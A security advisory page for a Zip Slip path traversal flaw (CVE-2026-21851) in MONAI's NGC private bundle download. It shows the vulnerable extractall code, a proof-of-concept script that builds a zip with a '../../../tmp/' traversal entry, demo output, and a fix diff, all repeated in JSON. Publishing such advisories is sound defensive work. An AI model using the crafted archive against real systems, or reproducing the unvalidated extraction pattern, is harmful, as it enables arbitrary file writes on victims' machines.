GHSA-9RG3-9PVR-6P27

Vulnerability from github – Published: 2026-01-06 17:32 – Updated: 2026-01-08 20:07
VLAI?
Summary
MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
Details

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...

    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")

    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

Function File Uses Safe Extraction?
_download_from_github() scripts.py:198 ✅ Yes (via extractall() wrapper)
_download_from_monaihosting() scripts.py:205 ✅ Yes (via extractall() wrapper)
_download_from_bundle_info() scripts.py:215 ✅ Yes (via extractall() wrapper)
_download_from_ngc_private() scripts.py:292 ❌ No (direct z.extractall())

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()

    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )

        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )

    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())

    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)

            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue

            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

  1. Attacker must control or compromise an NGC private repository
  2. Victim must configure MONAI to download from that repository
  3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)

Mitigating Factors

  • Requires attacker to control an NGC private repository
  • Modern Python versions (3.12+) have some built-in path normalization
  • The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...

    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.


Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "monai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-06T17:32:52Z",
    "nvd_published_at": "2026-01-07T23:15:50Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI\u0027s `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py`  \n**Lines:** 291-292  \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n    f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n    z.extractall(extract_path)  # \u003c-- No path validation\n    logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n    \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n    # ... path validation logic ...\n    \n    if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n        raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n    \n    # Ensure path stays within extraction root\n    if os.path.commonpath([extract_root, target_real]) != extract_root:\n        raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | \u2705 Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | \u274c No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n    zip_buffer = io.BytesIO()\n    \n    with zipfile.ZipFile(zip_buffer, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n        # Normal bundle file\n        zf.writestr(\n            \"monai_test_bundle/configs/metadata.json\",\n            \u0027{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}\u0027\n        )\n        \n        # Path traversal entry\n        zf.writestr(\n            \"../../../tmp/escaped_file.txt\",\n            \"This file was written outside the extraction directory.\\n\"\n        )\n    \n    with open(output_path, \u0027wb\u0027) as f:\n        f.write(zip_buffer.getvalue())\n    \n    print(f\"Created: {output_path}\")\n    with zipfile.ZipFile(output_path, \u0027r\u0027) as zf:\n        print(\"Contents:\")\n        for name in zf.namelist():\n            print(f\"  - {name}\")\n\nif __name__ == \"__main__\":\n    create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n  - monai_test_bundle/configs/metadata.json\n  - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as z:\n        z.extractall(extract_path)\n    print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as zf:\n        for member in zf.infolist():\n            member_path = os.path.normpath(member.filename)\n            \n            # Check for path traversal\n            if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n                print(f\"[SAFE] BLOCKED: {member.filename}\")\n                continue\n            \n            print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n    for root, dirs, files in os.walk(tmpdir):\n        for f in files:\n            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n            print(f\"  Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n  Extracted: monai_test_bundle/configs/metadata.json\n  Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI\u0027s existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n    # ... existing code ...\n    \n    extract_path = download_path / f\"{filename}\"\n-   with zipfile.ZipFile(zip_path, \"r\") as z:\n-       z.extractall(extract_path)\n-       logger.info(f\"Writing into directory: {extract_path}.\")\n+   _extract_zip(zip_path, extract_path)\n+   logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)",
  "id": "GHSA-9rg3-9pvr-6p27",
  "modified": "2026-01-08T20:07:38Z",
  "published": "2026-01-06T17:32:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21851"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Project-MONAI/MONAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…